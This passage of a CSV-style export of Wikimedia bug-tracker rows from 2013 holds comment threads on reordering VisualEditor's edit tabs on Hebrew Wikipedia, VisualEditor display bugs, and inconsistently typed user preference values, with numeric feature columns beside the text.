[1] http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/000419.html",,,1380883041,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.5,0.5,0.5,4.5,2.0,0.0,0.0,0.0,3.0,0.5,0.0,1.0,0.5,0.5,0.0,3.5,9.0,0.0,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,3.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,4.0,0.0,1.5,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,3.5,8.5,1.5,2.0,6.0,0.0,0.5,0.0,0.0,2.5,0.0,1.0,0.0,1.5,9.0,5.5,0.0,1.5,0.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.7846288720046757,0.7431326709526593,"Thanks for adding the welcome message. 

I know there are discussions regarding these changes[1], but the change of the tab order (Edit and Edit source) is important for he wikipedia and Erik isn't totally against it [only ambivalent] :)

Since VE is enabled only in the main NS and user NS, for editors who also edit in other namespaces, addition of the VE edit tab ""in the middle"" may cause confusion. For consistency the edit source option should be alway the first option [in order], while VE edit should be second.

----
[1] URL"
240729,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 77269 merged by jenkins-bot:
Enable VisualEditor beta welcome notice for all wikis

https://gerrit.wikimedia.org/r/77269",,,1378927706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,10,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.7368421052631575,1.0,"Change 77269 merged by jenkins-bot:
Enable VisualEditor beta welcome notice for all wikis

GERRIT_URL"
240722,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","[Sorry for the delay in responding.]

The beta welcome message is now queued up to go out on all wikis with the next release when available.

We're still not decided on the way forward for the edit source/edit labelling split, so this is delayed until we have a proper answer. Sorry.",,,1378770465,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,10,,2.0,0.0,0.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,8.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,6.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.7301587301587302,0.8095238095238095,"[Sorry for the delay in responding.]

The beta welcome message is now queued up to go out on all wikis with the next release when available.

We're still not decided on the way forward for the edit source/edit labelling split, so this is delayed until we have a proper answer. Sorry."
240716,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","We are now in September so enough time have passed since August change, and the community have voted for deploying the changes. Please let us know when this change is planned for deployment.",,,1378147154,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,11.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,4.388888888888889,0.8611111111111112,"We are now in September so enough time have passed since August change, and the community have voted for deploying the changes. Please let us know when this change is planned for deployment."
240707,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","There is is large support for the change in the village pump. 

https://he.wikipedia.org/w/index.php?title=%D7%95%D7%99%D7%A7%D7%99%D7%A4%D7%93%D7%99%D7%94:%D7%9E%D7%96%D7%A0%D7%95%D7%9F&oldid=14551521#.D7.94.D7.97.D7.9C.D7.A4.D7.AA_.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.94.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94_.D7.91.D7.A7.D7.95.D7.93_.D7.9E.D7.A7.D7.95.D7.A8.22_.D7.A2.D7.9D_.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94.22_-_.D7.9B.D7.9E.D7.95_.D7.91.D7.95.D7.95.D7.99.D7.A7.D7.99.D7.A4.D7.93.D7.99.D7.94_.D7.94.D7.90.D7.A0.D7.92.D7.9C.D7.99.D7.AA",,,1377842346,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8666666666666667,"There is is large support for the change in the village pump. 

URL"
240701,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",All of these,,,1377020909,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,7,,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,All of these
240696,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Hey,

Which of the bits of the update do you mean?

1. The re-ordered tabs and section edit links, so that the VE tab is second?
2. Giving a welcome message when you open VisualEditor for the first time?
3. Adding ""beta"" as a suffix after the VisualEditor tab and section edit link?
4. Changing ""edit"" to ""edit source"" on non-VisualEditor pages for consistency?
5. Removing the animation on section edit links?

All of these? Items 4 and 5 are already done.",,,1376948752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,7,,1.0,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,9.0,0.0,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,15.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,0.5,0.0,0.0,5.5,1.5,9.0,1.5,2.5,8.0,0.0,0.0,0.0,0.0,0.5,0.5,2.5,0.0,1.0,9.0,2.0,5.0,5.0,0.0,1.0,0.0,1.0,1.5,0.0,3.0,0.0,0.0,2.5,3.3596491228070176,0.7192982456140351,"Hey,

Which of the bits of the update do you mean?

1. The re-ordered tabs and section edit links, so that the VE tab is second?
2. Giving a welcome message when you open VisualEditor for the first time?
3. Adding ""beta"" as a suffix after the VisualEditor tab and section edit link?
4. Changing ""edit"" to ""edit source"" on non-VisualEditor pages for consistency?
5. Removing the animation on section edit links?

All of these? Items 4 and 5 are already done."
240688,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",is there any progress with the request?,,,1376848108,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,6,,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,is there any progress with the request?
240679,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Gerrit change 77269 will handle part of this. They were just waiting on translations of the messages before enabling it.,,,1375862146,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,18.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.590909090909091,0.9090909090909091,Gerrit change 77269 will handle part of this. They were just waiting on translations of the messages before enabling it.
240674,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",added in the url field.,,,1375792847,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,added in the url field.
240666,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #0)
> Users are requesting VE August update
> (https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update) to
> be deployed in on hewiki.

Please provide a link to these requests, if possible.",,,1375791382,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.269230769230769,0.8076923076923077,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Please provide a link to these requests, if possible."
240660,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Please mark the targeted milestone when it is known. Thanks,,,1375721827,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,18.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,Please mark the targeted milestone when it is known. Thanks
54551,VisualEditor: Empty HTML elements are not identifiable,"Slightly related to bug 51322 

Take the Link FA templates on https://en.wikipedia.org/wiki/The_Adventures_of_Tintin?veaction=edit for instance. 

These produce empty elements, and don't qualify under 'solely metadata' of bug 51322, even though they are somewhat similar to it.

The templates are represented with the char: ↵
Using the arrow keys to cursor trough this sequence will sometimes produce the template editor indicator. However their is little identifying these templates to the user and due to the interspersed ↵, users think they should be deleted.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375720020,1393529166.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-bm4l7dozmqtublm7xcao,task_description,resolved,True,c1,3,True,False,False,5,,0.0,0.0,0.0,1.5,0.5,4.5,1.5,0.0,0.5,0.0,1.0,1.5,0.0,1.0,0.0,0.0,1.0,4.0,7.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,4.5,2.5,6.5,0.5,1.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,7.5,3.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.25,0.7758620689655172,"Slightly related to bug 51322 

Take the Link FA templates on URL for instance. 

These produce empty elements, and don't qualify under 'solely metadata' of bug 51322, even though they are somewhat similar to it.

The templates are represented with the char: ↵
Using the arrow keys to cursor trough this sequence will sometimes produce the template editor indicator. However their is little identifying these templates to the user and due to the interspersed ↵, users think they should be deleted.

--------------------------
**Version**: unspecified
**Severity**: normal"
240624,VisualEditor: Empty HTML elements are not identifiable,"Merging with bug 49806 (though non-transclusion empty HTML blocks do happen too).

*** This bug has been marked as a duplicate of bug 49806 ***",,,1393529166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bm4l7dozmqtublm7xcao,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.4285714285714284,0.7714285714285715,"Merging with bug 49806 (though non-transclusion empty HTML blocks do happen too).

*** This bug has been marked as a duplicate of bug 49806 ***"
240616,VisualEditor: Empty HTML elements are not identifiable,"(In reply to comment #0)
> The templates are represented with the char: ↵

Actually, that's representing the meaningless wikitext of the newline after the template.",,,1380753594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bm4l7dozmqtublm7xcao,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.076923076923077,0.9230769230769231,"(In reply to comment #0)
QUOTE

Actually, that's representing the meaningless wikitext of the newline after the template."
54547,"VisualEditor: Floated node's action icon (e.g. for template) appearing in wrong location, relative to its initial position, not its actual position","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Quote_box

In the adventures of tintin 
http://en.wikipedia.org/wiki/The_Adventures_of_Tintin?veaction=edit

the first {{quote box}} has been pushed down by the info box. The transclusion icon for this appears appear where the quote box was initially (just below the History section header on the right hand side) not where it actually appears.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51548",Medium,50.0,1375712940,1519404104.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-g7kzupvlt4lakd72su4u,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,9.0,6.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.659090909090909,0.6136363636363636,"From URL

In the adventures of tintin 
URL

the first {{quote box}} has been pushed down by the info box. The transclusion icon for this appears appear where the quote box was initially (just below the History section header on the right hand side) not where it actually appears.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
1019048,"VisualEditor: Floated node's action icon (e.g. for template) appearing in wrong location, relative to its initial position, not its actual position",Not any more!,,,1519404104,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g7kzupvlt4lakd72su4u,task_subcomment,,True,c1,3,True,,,242,,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,2.75,1.0,Not any more!
54542,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Just look at my mw.user.options table added below. 1 vs true vs ""1"". I'm in favor of using numbers over booleans here, but why do we have string values for numbers ?

Worse yet, check the inconsistency in Gadgets. Gadgets enabled by default return 1 and gadgets enabled by the user return ""1"".

We should really do a bit of clean up here, and possibly even cleanup the existing values in tables, this makes coding JS against these pages more fragile than needed.

```
aftv5-last-filter: null
ccmeonemails: 0
cols: ""120""
date: ""mdy""
diffonly: ""1""
disablemail: 0
disablesuggest: 0
echo-email-format: ""html""
echo-email-frequency: 0
echo-notify-show-link: true
echo-show-alert: true
echo-subscriptions-email-article-linked: false
echo-subscriptions-email-edit-thank: false
echo-subscriptions-email-edit-user-talk: 1
echo-subscriptions-email-mention: false
echo-subscriptions-email-other: false
echo-subscriptions-email-page-review: false
echo-subscriptions-email-reverted: false
echo-subscriptions-email-system: true
echo-subscriptions-web-article-linked: ""1""
echo-subscriptions-web-edit-thank: true
echo-subscriptions-web-edit-user-talk: true
echo-subscriptions-web-mention: true
echo-subscriptions-web-other: true
echo-subscriptions-web-page-review: true
echo-subscriptions-web-reverted: true
echo-subscriptions-web-system: true
editfont: ""default""
editondblclick: 0
editsection: 1
editsectiononrightclick: 0
enotifminoredits: 0
enotifrevealaddr: 0
enotifusertalkpages: 1
enotifwatchlistpages: 0
ep_bulkdelcourses: true
ep_bulkdelorgs: false
ep_showdyk: true
ep_showtoplink: false
extendwatchlist: 0
fancysig: ""1""
flaggedrevseditdiffs: true
flaggedrevssimpleui: 1
flaggedrevsstable: 0
flaggedrevsviewdiffs: false
forceeditsummary: ""1""
gadget-BugStatusUpdate: ""1""
gadget-DRN-wizard: 1
gadget-HotCat: ""1""
gadget-Navigation_popups: ""1""
gadget-NoAnimations: ""1""
gadget-PrintOptions: ""1""
gadget-ReferenceTooltips: 1
gadget-UTCLiveClock: ""1""
gadget-addsection-plus: ""1""
gadget-charinsert: 1
gadget-contribsrange: ""1""
gadget-edittop: ""1""
gadget-exlinks: ""1""
gadget-metadata: ""1""
gadget-mySandbox: 1
gadget-purgetab: ""1""
gadget-teahouse: 1
gadget-widensearch: ""1""
gadget-wikEd: ""1""
gadget-wikEdDiff: ""1""
gender: ""male""
gettingstarted-task-toolbar-show-intro: """"
hideminor: 0
hidepatrolled: 0
imagesize: 2
justify: 0
language: ""en""
math: ""6""
mfWatchlistFilter: ""all""
mfWatchlistView: ""feed""
minordefault: 0
newpageshidepatrolled: 0
nocache: 0
noconvertlink: 0
norollbackdiff: 0
numberheadings: 0
previewonfirst: 0
previewontop: 1
rcdays: 7
rclimit: 50
rcshowwikidata: ""1""
rememberpassword: 0
rows: ""30""
searchNs0: true
searchNs1: false
searchNs2: false
searchNs3: false
searchNs4: false
searchNs5: false
searchNs6: false
searchNs7: false
searchNs8: false
searchNs9: false
searchNs10: false
searchNs11: false
searchNs12: false
searchNs13: false
searchNs14: ""1""
searchNs15: false
searchNs100: false
searchNs101: false
searchNs108: false
searchNs109: false
searchNs446: false
searchNs447: false
searchNs710: false
searchNs711: false
searchNs828: false
searchNs829: false
searchlimit: 20
showhiddencats: ""1""
showjumplinks: 1
shownumberswatching: 1
showtoc: 1
showtoolbar: 1
skin: ""vector""
stubthreshold: ""2000""
thumbsize: 4
timecorrection: ""ZoneInfo|120|Europe/Amsterdam""
uls-preferences: """"
underline: 2
usebetatoolbar: 1
usebetatoolbar-cgd: 1
useeditwarning: 1
uselivepreview: 0
usenewrc: ""1""
userjs-curationtoolbar: ""hidden""
variant: ""en""
vector-collapsiblenav: 1
vector-simplesearch: 1
visualeditor-betatempdisable: 0
visualeditor-enable: 1
watchcreations: 1
watchdefault: 0
watchdeletion: 0
watchlistdays: 3
watchlisthideanons: 0
watchlisthidebots: 0
watchlisthideliu: 0
watchlisthideminor: 0
watchlisthideown: 0
watchlisthidepatrolled: 0
watchmoves: 0
wikilove-enabled: 1
wllimit: 250
wlshowwikibase: ""1""
```
--------------------------
**See Also**:
{T29471}",Medium,50.0,1375702860,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yfjwr3je2btidmhmuccx,task_description,open,True,c1,3,True,False,,5,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,2.5,0.0,7.5,9.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,1.0,0.5,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,7.5,0.5,2.0,4.5,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,2.5,9.5,1.5,0.5,2.5,0.0,2.5,0.0,0.5,1.0,0.0,2.0,1.5,0.0,0.0,3.7045197740112994,0.7899717514124294,"Just look at my mw.user.options table added below. 1 vs true vs ""1"". I'm in favor of using numbers over booleans here, but why do we have string values for numbers ?

Worse yet, check the inconsistency in Gadgets. Gadgets enabled by default return 1 and gadgets enabled by the user return ""1"".

We should really do a bit of clean up here, and possibly even cleanup the existing values in tables, this makes coding JS against these pages more fragile than needed.

``CODE``
--------------------------
**See Also**:
{T29471}"
1015907,"User preferences are inconsistently stored (bool/int as default, string for overrides)","@Samwilson I'd recommend tracking that as a separate task because it involves explicitly changing the format of a preference key, and none of the array-like use cases you mentioned are subject to normalisation inconsistencies.

